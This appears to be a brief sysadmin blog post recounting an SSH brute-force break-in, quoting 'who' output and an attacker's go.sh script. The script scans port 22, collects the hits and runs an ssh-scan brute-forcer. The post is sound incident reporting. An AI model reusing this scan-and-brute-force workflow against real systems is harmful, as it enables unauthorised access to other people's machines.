Parsed Participle

I could see this when I ran who:

faiz     pts/3        Nov 19 13:56 (p02a702.tokynt01.ap.so-net.ne.jp)
vasanth  pts/2        Nov 18 23:37 (86.123.17.188:S.0)

Looks like it never got beyond that, though I saw some hundreds of './ssh' processes running, which, after summarily killing off, I found and archived the offending scripts: These were stored and running off of the directory /var/tmp/vi.recover/irc/ as the user 'vasanth'. I suspect a weak password lead to a brute-force SSH break-in. Not at all a bother, but nothing that can't be fixed by an iptables '-m recent' filter.

Some samples from the scripts: Note: though no harm can come if you try running these binaries as a non-root user (if you are running Linux, that is), it's probably a good idea not to run the scripts in this archive - there's no easy way to be sure what they actually do.

$ cat /var/tmp/vi.recover/irc/go.sh 
./ss 22 -b $1 -i eth0 -s 6
cat bios.txt |sort | uniq > mfu.txt
./ssh-scan
rm -f bios.txt
